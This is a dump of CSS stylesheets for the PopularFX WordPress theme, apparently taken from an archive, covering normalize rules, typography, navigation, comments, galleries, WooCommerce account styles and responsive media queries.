.comment-reply-link:focus {
border-color: currentColor;
color: #ffffff;
outline: 0;
}
.comment-form {
/*padding-top: 1.75em;*/
}
.comment-form label {
display: block;
font-size: 13px;
font-size: 0.8125rem;
letter-spacing: 0.076923077em;
line-height: 1.6153846154;
margin-bottom: 0.5384615385em;
text-transform: uppercase;
}
.comment-list .comment-form {
padding-bottom: 1.75em;
}
.comment-notes,
.comment-awaiting-moderation{
font-size: 13px;
font-size: 0.8125rem;
line-height: 1.6153846154;
margin-bottom: 2.1538461538em;
}
.no-comments {
border-top: 1px solid #d1d1d1;
font-weight: 700;
margin: 0;
padding-top: 1.75em;
}
.comment-navigation + .no-comments {
border-top: 0;
padding-top: 0;
}
.comment-reply-title small {
font-size: 100%;
}
.comment-reply-title small a {
border: 0;
height: 40px;
font-size: 14px;
overflow: hidden;
width: 90px;
margin-right: 10px;
text-decoration:none;
font-weight:400;
}
.comment-reply-title small a:hover,
.comment-reply-title small a:focus {
}
.comment-form-comment textarea{
background-color:#f5f5f5;
}
.bypostauthor{
display: block;
}
.says{
display:none;
}
.form-submit .submit{
background-color: #2196f3;
color: #fff;
font-weight: 500;
padding: 14px 13px;
border:none;
}
input.search-field{
border: 1px solid #eaeaea;
width: auto;
font-size: 16px;
padding: 8px;
}
input.search-submit{
background-color: #2196f3;
color: #fff;
font-weight: 500;
padding: 14px 13px;
vertical-align: middle;
border:none;
margin-top:5px;
cursor: pointer;
}
/*--------------------------------------------------------------
# Infinite scroll
--------------------------------------------------------------*/
/* Hide the Posts Navigation and the Footer when Infinite Scroll is in use. */
.infinite-scroll .posts-navigation,
.infinite-scroll.neverending .site-footer {
display: none;
}
/* Re-display the Theme Footer when Infinite Scroll has reached its end. */
.infinity-end.neverending .site-footer {
display: block;
}
/*--------------------------------------------------------------
# Media
--------------------------------------------------------------*/
.page-content .wp-smiley,
.entry-content .wp-smiley,
.comment-content .wp-smiley {
border: none;
margin-bottom: 0;
margin-top: 0;
padding: 0;
}
/* Make sure embeds and iframes fit their containers. */
embed,
iframe,
object {
max-width: 100%;
}
/* Make sure logo link wraps around logo image. */
.custom-logo-link {
display: inline-block;
float:right;
margin-left: 14px;
}
/*--------------------------------------------------------------
## Captions
--------------------------------------------------------------*/
.wp-caption {
margin-bottom: 1.5em;
max-width: 100%;
}
.wp-caption img[class*="wp-image-"] {
display: block;
margin-right: auto;
margin-left: auto;
}
.wp-caption .wp-caption-text {
margin: 0.8075em 0;
}
.wp-caption-text {
text-align: center;
}
/*--------------------------------------------------------------
## Galleries
--------------------------------------------------------------*/
.gallery {
margin-bottom: 1.5em;
display: grid;
grid-gap: 1.5em;
}
.gallery-item {
display: inline-block;
text-align: center;
width: 100%;
}
.gallery-columns-2 {
grid-template-columns: repeat(2, 1fr);
}
.gallery-columns-3 {
grid-template-columns: repeat(3, 1fr);
}
.gallery-columns-4 {
grid-template-columns: repeat(4, 1fr);
}
.gallery-columns-5 {
grid-template-columns: repeat(5, 1fr);
}
.gallery-columns-6 {
grid-template-columns: repeat(6, 1fr);
}
.gallery-columns-7 {
grid-template-columns: repeat(7, 1fr);
}
.gallery-columns-8 {
grid-template-columns: repeat(8, 1fr);
}
.gallery-columns-9 {
grid-template-columns: repeat(9, 1fr);
}
.gallery-caption {
display: block;
}
/*--------------------------------------------------------------
# Woocoomerce
--------------------------------------------------------------*/
.woocommerce-MyAccount-navigation ul{
list-style-type:none;
margin:0px;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link{
padding: 10px 20px;
border-bottom: 1px solid #616161;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link a{
color:#000000;
text-decoration:none;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active{
background-color:#2196f3;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active a{
color:#ffffff;
}
.woocommerce-account .woocommerce-MyAccount-content{
padding:30px;
}
.woocommerce form .form-row input.input-text{
padding:15px;
height:40px;
}
.woocommerce #respond input#submit,
.woocommerce a.button,
.woocommerce button.button,
.woocommerce input.button{
color: #ffffff;
background-color: #2196f3;
font-weight:500;
font-family:inherit;
padding:10px 20px;
}
.woocommerce #respond input#submit:hover,
.woocommerce a.button:hover,
.woocommerce button.button:hover,
.woocommerce input.button:hover{
color: #ffffff;
background-color: #1976d2;
}
.woocommerce-Address-title h3{
font-weight:600;
text-transform:Capitalize;
}
.woocommerce-account .addresses .title .edit{
text-decoration:none;
}
/*--------------------------------------------------------------
# Media Queries
--------------------------------------------------------------*/
@media all and (max-width:768px){
.site-header{
padding:0px;
}
.site-branding{
width: 75%;
}
.menu-toggle{
display:inline-block;
float:left;
position: relative;
top: 25px;
left:20px;
}
.main-navigation{
float:none;
display:block;
background-color:#fafafa;
padding: 0px;
width: 100%;
}
.main-navigation ul{
display:block;
}
.main-navigation li{
display: block;
}
.main-navigation .menu-item-has-children:active > ul,
.main-navigation .menu-item-has-children:hover > ul,
.main-navigation .menu-item-has-children.focus > ul{
position: relative !important;
display: block;
margin-right: 20px;
border-right: 0px;
right: unset;
}
.main-navigation .menu-item-has-children .sub-menu{
background-color: initial;
}
.main-navigation ul .menu-item-has-children > a::before {
left: 0px;
top: 0px;
transform: unset;
content: "\25B6";
border-top-color: transparent;
border-right-color: currentColor;
width: 60px;
padding-right: 20px;
display: block;
height: 100%;
padding-top: 15px;
border: unset;
pointer-events: none;
z-index: 10000;
}
.hidden-mobile{
display:none !important;
}
.menu .page_item a,
.menu .menu-item a{
font-size:18px;
padding: 15px 20px;
border-bottom: 1px solid #eaeaea;
}
.site-main{
width:100% !important;
padding-right: 10px;
padding-left: 10px;
}
main, .pagelayer-content{
width: 100% !important;
}
.widget-area{
width:50%;
float:none;
margin:30px;
display:block;
}
.site-footer{
padding:40px 15px;
}
input.search-submit{
margin-top:0px;
}
.comments-area{
padding:25px;
margin: 30px 15px 15px;
}
.woocommerce-MyAccount-navigation ul{
padding-right:0px;
}
.woocommerce-account .woocommerce-MyAccount-content{
padding:30px 0px 0px;
}
.error-404 .widget_recent_entries,
.error-404 .widget_categories,
.error-404 .widget_archive{
width:100%;
display:inline-block;
vertical-align:top;
}
}
@media all and (max-width:599px){
main, .pagelayer-content{
width: 100% !important;
}
.widget-area{
width:auto !important;
float:none;
margin:15px;
display:block;
}
.article{
margin: 30px 15px 15px;
}
.comments-area{
padding:25px;
margin: 30px 15px 15px;
}
.comment-reply-title small a{
display:block;
margin-top:5px;
margin-right:0px;
}
.site-footer{
padding:40px 15px;
}
input.search-submit{
margin-top:0px;
}
.error-404{
margin:20px;
}
.error-code{
font-size:100px;
}
.error-404 .search-field{
width:100%;
}
}
search_template_1775659388/style.css 0000666 00000071037 15221117310 0012755 0 ustar 00 /*!
Theme Name: PopularFX
Theme URI: https://popularfx.com
Author: Pagelayer
Author URI: https://pagelayer.com
Description: Lightweight theme to make beautiful websites with Pagelayer. Includes 100s of pre-made templates to design your dream website !
Version: 1.2.6
License: LGPL v2.1
License URI: LICENSE
Text Domain: popularfx
Tags: custom-background, custom-logo, custom-menu, featured-images, threaded-comments, translation-ready, entertainment, full-width-template, one-column, two-columns, left-sidebar, e-commerce, right-sidebar, microformats, post-formats, theme-options, blog, rtl-language-support
Tested up to: 6.5.2
Requires PHP: 5.5
This theme is licensed under the LGPL v2.1.
Normalizing styles have been helped along thanks to the fine work of
Nicolas Gallagher and Jonathan Neal https://necolas.github.io/normalize.css/
*/
/*--------------------------------------------------------------
>>> TABLE OF CONTENTS:
----------------------------------------------------------------
# Normalize
# Typography
# Elements
# Forms
# Navigation
## Links
## Menus
# Accessibility
# Alignments
# Widgets
# Content
## Posts and pages
## Comments
# Infinite scroll
# Media
## Captions
## Galleries
--------------------------------------------------------------*/
/*--------------------------------------------------------------
# Normalize
--------------------------------------------------------------*/
/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */
/* Document
========================================================================== */
/**
* 1. Correct the line height in all browsers.
* 2. Prevent adjustments of font size after orientation changes in iOS.
*/
html {
line-height: 1.15;
-webkit-text-size-adjust: 100%;
}
/* Sections
========================================================================== */
/**
* Remove the margin in all browsers.
*/
body {
margin: 0;
}
/**
* Render the `main` element consistently in IE.
*/
main {
display: block;
}
/**
* Correct the font size and margin on `h1` elements within `section` and
* `article` contexts in Chrome, Firefox, and Safari.
*/
h1 {
font-size: 2em;
margin: 0.67em 0;
}
/* Grouping content
========================================================================== */
/**
* 1. Add the correct box sizing in Firefox.
* 2. Show the overflow in Edge and IE.
*/
hr {
box-sizing: content-box;
height: 0;
overflow: visible;
}
/**
* 1. Correct the inheritance and scaling of font size in all browsers.
* 2. Correct the odd `em` font sizing in all browsers.
*/
pre {
font-family: monospace, monospace;
font-size: 1em;
}
/* Text-level semantics
========================================================================== */
/**
* Remove the gray background on active links in IE 10.
*/
a {
background-color: transparent;
}
/**
* 1. Remove the bottom border in Chrome 57-
* 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
*/
abbr[title] {
border-bottom: none;
text-decoration: underline;
text-decoration: underline dotted;
}
/**
* Add the correct font weight in Chrome, Edge, and Safari.
*/
b,
strong {
font-weight: bolder;
}
/**
* 1. Correct the inheritance and scaling of font size in all browsers.
* 2. Correct the odd `em` font sizing in all browsers.
*/
code,
kbd,
samp {
font-family: monospace, monospace;
font-size: 1em;
}
/**
* Add the correct font size in all browsers.
*/
small {
font-size: 80%;
}
/**
* Prevent `sub` and `sup` elements from affecting the line height in
* all browsers.
*/
sub,
sup {
font-size: 75%;
line-height: 0;
position: relative;
vertical-align: baseline;
}
sub {
bottom: -0.25em;
}
sup {
top: -0.5em;
}
/* Embedded content
========================================================================== */
/**
* Remove the border on images inside links in IE 10.
*/
img {
border-style: none;
}
/* Forms
========================================================================== */
/**
* 1. Change the font styles in all browsers.
* 2. Remove the margin in Firefox and Safari.
*/
button,
input,
optgroup,
select,
textarea {
font-family: inherit;
font-size: 100%;
line-height: 1.15;
margin: 0;
}
/**
* Show the overflow in IE.
* 1. Show the overflow in Edge.
*/
button,
input {
overflow: visible;
}
/**
* Remove the inheritance of text transform in Edge, Firefox, and IE.
* 1. Remove the inheritance of text transform in Firefox.
*/
button,
select {
text-transform: none;
}
/**
* Correct the inability to style clickable types in iOS and Safari.
*/
button,
[type="button"],
[type="reset"],
[type="submit"] {
-webkit-appearance: button;
}
/**
* Remove the inner border and padding in Firefox.
*/
button::-moz-focus-inner,
[type="button"]::-moz-focus-inner,
[type="reset"]::-moz-focus-inner,
[type="submit"]::-moz-focus-inner {
border-style: none;
padding: 0;
}
/**
* Restore the focus styles unset by the previous rule.
*/
button:-moz-focusring,
[type="button"]:-moz-focusring,
[type="reset"]:-moz-focusring,
[type="submit"]:-moz-focusring {
outline: 1px dotted ButtonText;
}
/**
* Correct the padding in Firefox.
*/
fieldset {
padding: 0.35em 0.75em 0.625em;
}
/**
* 1. Correct the text wrapping in Edge and IE.
* 2. Correct the color inheritance from `fieldset` elements in IE.
* 3. Remove the padding so developers are not caught out when they zero out
* `fieldset` elements in all browsers.
*/
legend {
box-sizing: border-box;
color: inherit;
display: table;
max-width: 100%;
padding: 0;
white-space: normal;
}
/**
* Add the correct vertical alignment in Chrome, Firefox, and Opera.
*/
progress {
vertical-align: baseline;
}
/**
* Remove the default vertical scrollbar in IE 10+.
*/
textarea {
overflow: auto;
}
/**
* 1. Add the correct box sizing in IE 10.
* 2. Remove the padding in IE 10.
*/
[type="checkbox"],
[type="radio"] {
box-sizing: border-box;
padding: 0;
}
/**
* Correct the cursor style of increment and decrement buttons in Chrome.
*/
[type="number"]::-webkit-inner-spin-button,
[type="number"]::-webkit-outer-spin-button {
height: auto;
}
/**
* 1. Correct the odd appearance in Chrome and Safari.
* 2. Correct the outline style in Safari.
*/
[type="search"] {
-webkit-appearance: textfield;
outline-offset: -2px;
}
/**
* Remove the inner padding in Chrome and Safari on macOS.
*/
[type="search"]::-webkit-search-decoration {
-webkit-appearance: none;
}
/**
* 1. Correct the inability to style clickable types in iOS and Safari.
* 2. Change font properties to `inherit` in Safari.
*/
::-webkit-file-upload-button {
-webkit-appearance: button;
font: inherit;
}
/* Interactive
========================================================================== */
/*
* Add the correct display in Edge, IE 10+, and Firefox.
*/
details {
display: block;
}
/*
* Add the correct display in all browsers.
*/
summary {
display: list-item;
}
/* Misc
========================================================================== */
/**
* Add the correct display in IE 10+.
*/
template {
display: none;
}
/**
* Add the correct display in IE 10.
*/
[hidden] {
display: none;
}
/*--------------------------------------------------------------
# Typography
--------------------------------------------------------------*/
body,
button,
input,
select,
optgroup,
textarea {
color: #404040;
font-family: "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
font-size: 1rem;
line-height: 1.5;
}
h1,
h2,
h3,
h4,
h5,
h6 {
clear: both;
}
p {
margin-bottom: 1.5em;
}
dfn,
cite,
em,
i {
font-style: italic;
}
blockquote {
margin: 0 1.5em;
}
address {
margin: 0 0 1.5em;
}
pre {
background: #eee;
font-family: "Courier 10 Pitch", courier, monospace;
font-size: 0.9375rem;
line-height: 1.6;
margin-bottom: 1.6em;
max-width: 100%;
overflow: auto;
padding: 1.6em;
}
code,
kbd,
tt,
var {
font-family: monaco, consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
font-size: 0.9375rem;
}
abbr,
acronym {
border-bottom: 1px dotted #666;
cursor: help;
}
mark,
ins {
background: #fff9c0;
text-decoration: none;
}
big {
font-size: 125%;
}
/*--------------------------------------------------------------
# Elements
--------------------------------------------------------------*/
/* Inherit box-sizing to more easily change it's value on a component level.
@link http://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/ */
*,
*::before,
*::after {
box-sizing: inherit;
}
html {
box-sizing: border-box;
}
body {
background-color:#f5f5f5;
}
hr {
background-color: #ccc;
border: 0;
height: 1px;
margin-bottom: 1.5em;
}
ul,
ol {
margin: 0 0 1.5em 3em;
}
ul {
list-style: disc;
}
ol {
list-style: decimal;
}
li > ul,
li > ol {
margin-bottom: 0;
margin-left: 1.5em;
}
dt {
font-weight: 700;
}
dd {
margin: 0 1.5em 1.5em;
}
img {
height: auto;
max-width: 100%;
}
figure {
margin: 1em 0;
}
table {
margin: 0 0 1.5em;
width: 100%;
}
/*--------------------------------------------------------------
# Forms
--------------------------------------------------------------*/
button,
input[type="button"],
input[type="reset"],
input[type="submit"] {
border: 1px solid;
border-color: #ccc #ccc #bbb;
border-radius: 3px;
background: #e6e6e6;
color: rgba(0, 0, 0, 0.8);
font-size: 0.75rem;
line-height: 1;
padding: 0.6em 1em 0.4em;
}
button:hover,
input[type="button"]:hover,
input[type="reset"]:hover,
input[type="submit"]:hover {
border-color: #ccc #bbb #aaa;
}
button:active,
button:focus,
input[type="button"]:active,
input[type="button"]:focus,
input[type="reset"]:active,
input[type="reset"]:focus,
input[type="submit"]:active,
input[type="submit"]:focus {
border-color: #aaa #bbb #bbb;
}
input[type="text"],
input[type="email"],
input[type="url"],
input[type="password"],
input[type="search"],
input[type="number"],
input[type="tel"],
input[type="range"],
input[type="date"],
input[type="month"],
input[type="week"],
input[type="time"],
input[type="datetime"],
input[type="datetime-local"],
input[type="color"],
textarea {
color: #666;
border: 1px solid #ccc;
border-radius: 3px;
padding: 3px;
}
input[type="text"]:focus,
input[type="email"]:focus,
input[type="url"]:focus,
input[type="password"]:focus,
input[type="search"]:focus,
input[type="number"]:focus,
input[type="tel"]:focus,
input[type="range"]:focus,
input[type="date"]:focus,
input[type="month"]:focus,
input[type="week"]:focus,
input[type="time"]:focus,
input[type="datetime"]:focus,
input[type="datetime-local"]:focus,
input[type="color"]:focus,
textarea:focus {
color: #111;
}
select {
border: 1px solid #ccc;
}
textarea {
width: 100%;
}
/*--------------------------------------------------------------
# Navigation
--------------------------------------------------------------*/
/*--------------------------------------------------------------
## Links
--------------------------------------------------------------*/
a {
color: #4169e1;
text-decoration: none;
}
a:visited {
color: #800080;
}
a:hover,
a:focus,
a:active{
color:#2196f3;
}
a:focus {
outline: thin dotted;
}
a:hover,
a:active {
outline: 0;
}
/*--------------------------------------------------------------
## Menus
--------------------------------------------------------------*/
.site-header{
background-color:#ffffff;
border-bottom: 1px solid #eaeaea;
position:relative;
margin-left: auto;
margin-right: auto;
padding: 0% 4%;
width: 100%;
}
.site-branding{
display:inline-block;
padding:10px;
width: 30%;
}
.site-title{
font-size:30px;
font-weight:500;
color:#212121;
margin:0px;
}
.site-title a{
font-weight:500;
color:#212121;
text-decoration:none;
text-transform:capitalize;
}
.site-description{
margin: 1px;
}
.main-navigation {
margin: 15px 0px;
padding: 0;
display:inline-block;
width: 68%;
vertical-align: top;
text-align: right;
}
.main-navigation .menu-item-has-children > ul{
position: absolute;
border: 1px solid #dfdfdf;
position: absolute;
top: -1000px;
}
.main-navigation ul {
min-width: 150px;
margin: 0;
padding: 0;
list-style: none;
}
.main-navigation li {
display: inline-block;
position: relative;
text-align: left;
}
.main-navigation li.focus > ul, .main-navigation li:hover > ul {
top: auto;
left: auto;
}
.main-navigation li li {
display: block;
}
.main-navigation li li.focus > ul, .main-navigation li li:hover > ul {
left: 100%;
top: 0;
}
.main-navigation a {
color: #000;
text-decoration: none;
display: block;
white-space: nowrap;
padding: 10px 15px;
}
.main-navigation a:hover,
.main-navigation li:hover > a,
.main-navigation .current-menu-item > a,
.main-navigation .current-menu-ancestor > a {
color: #0072b7;
}
.main-navigation .menu-item-has-children > a::before {
content: "";
position: absolute;
right: 0;
top: 50%;
transform: translateY(-50%);
border: 4px solid transparent;
border-top-color: currentColor;
}
.main-navigation ul .menu-item-has-children > a::before {
right: 2px;
border-top-color: transparent;
border-left-color: currentColor;
}
.main-navigation .menu-item-has-children .sub-menu{
background: #fff;
}
/* Small menu. */
.menu-toggle,
.main-navigation.toggled ul {
display: block;
}
@media screen and (min-width: 37.5em) {
.menu-toggle {
display: none;
}
}
.site-main .comment-navigation,
.site-main
.posts-navigation,
.site-main
.post-navigation {
margin: 0 0 1.5em;
}
.comment-navigation .nav-links,
.posts-navigation .nav-links,
.post-navigation .nav-links {
display: flex;
}
.comment-navigation .nav-previous,
.posts-navigation .nav-previous,
.post-navigation .nav-previous {
flex: 1 0 50%;
}
.comment-navigation .nav-next,
.posts-navigation .nav-next,
.post-navigation .nav-next {
text-align: end;
flex: 1 0 50%;
}
/*--------------------------------------------------------------
# Accessibility
--------------------------------------------------------------*/
/* Text meant only for screen readers. */
.screen-reader-text {
border: 0;
clip: rect(1px, 1px, 1px, 1px);
clip-path: inset(50%);
height: 1px;
margin: -1px;
overflow: hidden;
padding: 0;
position: absolute !important;
width: 1px;
word-wrap: normal !important;
}
.screen-reader-text:focus {
background-color: #f1f1f1;
border-radius: 3px;
box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
clip: auto !important;
clip-path: none;
color: #21759b;
display: block;
font-size: 0.875rem;
font-weight: 700;
height: auto;
left: 5px;
line-height: normal;
padding: 15px 23px 14px;
text-decoration: none;
top: 5px;
width: auto;
z-index: 100000;
}
/* Do not show the outline on the skip link target. */
#primary[tabindex="-1"]:focus {
outline: 0;
}
/*--------------------------------------------------------------
# Alignments
--------------------------------------------------------------*/
.alignleft {
float: left;
margin-right: 1.5em;
margin-bottom: 1.5em;
}
.alignright {
float: right;
margin-left: 1.5em;
margin-bottom: 1.5em;
}
.aligncenter {
clear: both;
display: block;
margin-left: auto;
margin-right: auto;
margin-bottom: 1.5em;
}
/*--------------------------------------------------------------
# Widgets
--------------------------------------------------------------*/
.widget {
margin: 0 0 1.5em;
}
.widget select {
max-width: 100%;
}
.widget-area{
display:inline-block;
background-color:#ffffff;
padding:25px;
margin-top:30px;
border: 1px solid #eaeaea;
box-shadow: 0px 5px 30px 0 #0000001a;
}
.widget-title{
font-size:20px;
font-weight: 500;
text-decoration: none;
color: #4d4d4d;
margin: 8px 0px;
}
.widget ul,
.widget ol{
margin-left:0px;
}
.widget li a{
text-decoration:none;
color:#212121;
font-size:14px;
line-height:1.8;
}
.widget li a:hover{
color:#2196f3;
}
.widget_calendar table,
.widget_calendar td,
.widget_calendar th {
padding: 0;
text-align: center;
border-spacing:0;
}
.widget_calendar td {
border-right: none;
border-left: none;
}
.widget_calendar .widget-title{
text-transform:capitalize;
}
.widget_calendar .wp-calendar-table caption{
margin:10px 0px;
}
.widget_calendar .wp-calendar-table tr td{
text-decoration:none;
border-bottom:1px solid #e0e0e0;
padding:5px;
}
.widget_calendar .wp-calendar-table tr th{
text-decoration:none;
border-top:1px solid #e0e0e0;
border-bottom:1px solid #e0e0e0;
padding:5px;
}
.widget_calendar .wp-calendar-table td a{
text-decoration:none;
}
/*--------------------------------------------------------------
# Content
--------------------------------------------------------------*/
/*--------------------------------------------------------------
## Posts and pages
--------------------------------------------------------------*/
.sticky {
display: block;
}
.post,
.page {
margin: 0;
}
.updated:not(.published) {
display: none;
}
.page-content,
.entry-content,
.entry-summary {
margin: 1.5em 0 0;
}
.page-links {
clear: both;
margin: 0 0 1.5em;
}
.site-main{
height: auto;
vertical-align: top;
margin:0px auto;
width:100%;
}
.article{
background-color:#ffffff;
padding:25px;
margin:30px;
border: 1px solid #eaeaea;
box-shadow: 0px 5px 30px 0 #0000001a;
}
.article .cat-links,
.article .comments-link,
.article .edit-link,
.article .tags-links{
margin:0px 0px 0px 10px;
text-decoration:underline;
}
.article .post-thumbnail img{
margin-top:20px;
}
.nav-links{
margin:0px 30px;
}
.nav-links a{
text-decoration:none;
}
.entry-title{
margin:5px 0px;
font-weight:500;
}
.entry-title a{
font-weight: 500;
text-decoration: none;
color: #4d4d4d;
}
.entry-title a:hover, .entry-title a:focus, .entry-title a:active{
color:#2196f3;
}
.entry-content{
font-size:16px;
line-height:1.8;
margin-top:0px;
}
.site{
background-color: transparent;
}
.site-footer{
background-color:#171717;
padding:40px 0px;
text-align:center;
margin-top:60px;
color:#ffffff;
clear: both;
}
.site-info a{
color:#ffffff;
text-decoration:none;
}
.site-info a:hover{
color:#2196f3;
text-decoration:none;
}
.wp-block-quote{
margin: 10px 10px 10px 40px;
padding: 15px 15px 15px 20px;
border-left: 5px solid #e0e0e0;
font-style:italic;
}
.error-404{
background-color:#ffffff;
padding:25px;
margin:40px;
border: 1px solid #eaeaea;
box-shadow: 0px 5px 30px 0 #0000001a;
text-align:center;
}
.error-code{
font-size:150px;
margin:0px;
font-weight:500;
}
.error-404 .widget_recent_entries,
.error-404 .widget_categories,
.error-404 .widget_archive{
width:33%;
display:inline-block;
vertical-align:top;
margin-top:5%;
}
.error-404 .widget_recent_entries ul,
.error-404 .widget_categories ul{
list-style-type:none;
padding-left:0px;
}
.widget_recent_entries .widgettitle,
.widget_categories .widgettitle,
.widget_archive .widgettitle{
font-size: 22px;
font-weight: 600;
text-decoration: none;
color: #4d4d4d;
margin: 8px 0px;
}
.widget_archive select{
max-width: 100%;
width: 200px;
border-radius: 4px;
padding: 5px 10px;
height: 40px;
}
.error-404 .search-field{
display: block;
margin: 0 auto;
width: 350px;
padding: 10px;
border-radius: 4px;
}
.error-404 .search-submit{
font-size:16px;
padding: 10px 25px;
margin-top: 10px;
}
/*--------------------------------------------------------------
## Comments
--------------------------------------------------------------*/
.comments-area {
margin: 0 7.6923% 3.5em;
background-color:#ffffff;
padding:20px 40px;
}
.comment-list + .comment-respond,
.comment-navigation + .comment-respond {
padding-top: 1.75em;
}
.comments-title,
.comment-reply-title {
font-size: 23px;
font-size: 1.4375rem;
font-weight: 500;
line-height: 1.3125;
}
.comments-title {
margin-bottom: 1.217391304em;
}
.comment-list {
list-style: none;
margin: 0;
padding:0;
}
.comment-list article,
.comment-list .pingback,
.comment-list .trackback {
border-top: 1px solid #212121;
padding: 1.75em 0;
}
.comment-list .children {
list-style: none;
margin: 0;
}
.comment-list .children > li {
padding-left: 0.875em;
}
.comment-author {
color: #1a1a1a;
}
.vcard .fn a{
color:#171717;
text-transform:capitalize;
font-size: 18px;
font-weight: 500;
text-decoration: none;
}
.comment-author .avatar {
float: left;
height: 40px;
margin-right: 0.875em;
position: relative;
width: 40px;
}
.comment-metadata {
font-size: 13px;
font-size: 0.8125rem;
line-height: 1.6153846154;
}
.comment-metadata {
margin-bottom: 10px;
display:inline-block;
}
.comment-metadata a {
text-decoration:underline;
}
.comment-metadata a:hover,
.comment-metadata a:focus {
}
.comment-metadata .edit-link {
display: inline-block;
}
.comment-metadata .edit-link:before {
content: "\002f";
display: inline-block;
opacity: 0.7;
padding: 0 0.538461538em;
}
.comment-content{
font-size:16px;
font-weight:100;
line-height:1.8;
}
.comment-content ul,
.comment-content ol {
margin: 0 0 1.5em 1.25em;
}
.comment-content li > ul,
.comment-content li > ol {
margin-bottom: 0;
}
.comment-reply-link {
border-radius: 2px;
color: #ffffff;
background-color:#2196f3;
display: inline-block;
font-size: 13px;
font-size: 0.8125rem;
line-height: 1;
padding: 10px 20px;
text-decoration:underline;
}
.comment-reply-link:hover,
.comment-reply-link:focus {
border-color: currentColor;
color: #ffffff;
outline: 0;
}
.comment-form {
/*padding-top: 1.75em;*/
}
.comment-form label {
display: block;
font-size: 13px;
font-size: 0.8125rem;
letter-spacing: 0.076923077em;
line-height: 1.6153846154;
margin-bottom: 0.5384615385em;
text-transform: uppercase;
}
.comment-list .comment-form {
padding-bottom: 1.75em;
}
.comment-notes,
.comment-awaiting-moderation{
font-size: 13px;
font-size: 0.8125rem;
line-height: 1.6153846154;
margin-bottom: 2.1538461538em;
}
.no-comments {
border-top: 1px solid #d1d1d1;
font-weight: 700;
margin: 0;
padding-top: 1.75em;
}
.comment-navigation + .no-comments {
border-top: 0;
padding-top: 0;
}
.comment-reply-title small {
font-size: 100%;
}
.comment-reply-title small a {
border: 0;
height: 40px;
font-size: 14px;
overflow: hidden;
width: 90px;
margin-left: 10px;
text-decoration:none;
font-weight:400;
}
.comment-reply-title small a:hover,
.comment-reply-title small a:focus {
}
.comment-form-comment textarea{
background-color:#f5f5f5;
}
.bypostauthor{
display: block;
}
.says{
display:none;
}
.form-submit .submit{
background-color: #2196f3;
color: #fff;
font-weight: 500;
padding: 14px 13px;
border:none;
}
input.search-field{
border: 1px solid #eaeaea;
width: auto;
font-size: 16px;
padding: 8px;
}
input.search-submit{
background-color: #2196f3;
color: #fff;
font-weight: 500;
padding: 14px 13px;
vertical-align: middle;
border:none;
margin-top:5px;
cursor: pointer;
}
/*--------------------------------------------------------------
# Infinite scroll
--------------------------------------------------------------*/
/* Hide the Posts Navigation and the Footer when Infinite Scroll is in use. */
.infinite-scroll .posts-navigation,
.infinite-scroll.neverending .site-footer {
display: none;
}
/* Re-display the Theme Footer when Infinite Scroll has reached its end. */
.infinity-end.neverending .site-footer {
display: block;
}
/*--------------------------------------------------------------
# Media
--------------------------------------------------------------*/
.page-content .wp-smiley,
.entry-content .wp-smiley,
.comment-content .wp-smiley {
border: none;
margin-bottom: 0;
margin-top: 0;
padding: 0;
}
/* Make sure embeds and iframes fit their containers. */
embed,
iframe,
object {
max-width: 100%;
}
/* Make sure logo link wraps around logo image. */
.custom-logo-link {
display: inline-block;
float:left;
margin-right: 14px;
}
/*--------------------------------------------------------------
## Captions
--------------------------------------------------------------*/
.wp-caption {
margin-bottom: 1.5em;
max-width: 100%;
}
.wp-caption img[class*="wp-image-"] {
display: block;
margin-left: auto;
margin-right: auto;
}
.wp-caption .wp-caption-text {
margin: 0.8075em 0;
}
.wp-caption-text {
text-align: center;
}
/*--------------------------------------------------------------
## Galleries
--------------------------------------------------------------*/
.gallery {
margin-bottom: 1.5em;
display: grid;
grid-gap: 1.5em;
}
.gallery-item {
display: inline-block;
text-align: center;
width: 100%;
}
.gallery-columns-2 {
grid-template-columns: repeat(2, 1fr);
}
.gallery-columns-3 {
grid-template-columns: repeat(3, 1fr);
}
.gallery-columns-4 {
grid-template-columns: repeat(4, 1fr);
}
.gallery-columns-5 {
grid-template-columns: repeat(5, 1fr);
}
.gallery-columns-6 {
grid-template-columns: repeat(6, 1fr);
}
.gallery-columns-7 {
grid-template-columns: repeat(7, 1fr);
}
.gallery-columns-8 {
grid-template-columns: repeat(8, 1fr);
}
.gallery-columns-9 {
grid-template-columns: repeat(9, 1fr);
}
.gallery-caption {
display: block;
}
/*--------------------------------------------------------------
# Woocoomerce
--------------------------------------------------------------*/
.woocommerce-MyAccount-navigation ul{
list-style-type:none;
margin:0px;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link{
padding: 10px 20px;
border-bottom: 1px solid #616161;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link a{
color:#000000;
text-decoration:none;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active{
background-color:#2196f3;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active a{
color:#ffffff;
}
.woocommerce-account .woocommerce-MyAccount-content{
padding:30px;
}
.woocommerce form .form-row input.input-text{
padding:15px;
height:40px;
}
.woocommerce #respond input#submit,
.woocommerce a.button,
.woocommerce button.button,
.woocommerce input.button{
color: #ffffff;
background-color: #2196f3;
font-weight:500;
font-family:inherit;
padding:10px 20px;
}
.woocommerce #respond input#submit:hover,
.woocommerce a.button:hover,
.woocommerce button.button:hover,
.woocommerce input.button:hover{
color: #ffffff;
background-color: #1976d2;
}
.woocommerce-Address-title h3{
font-weight:600;
text-transform:Capitalize;
}
.woocommerce-account .addresses .title .edit{
text-decoration:none;
}
/*--------------------------------------------------------------
# Media Queries
--------------------------------------------------------------*/
@media all and (max-width:768px){
.site-header{
padding:0px;
}
.site-branding{
width: 75%;
}
.menu-toggle{
display:inline-block;
float:right;
position: relative;
top: 25px;
right:20px;
}
.main-navigation{
float:none;
display:block;
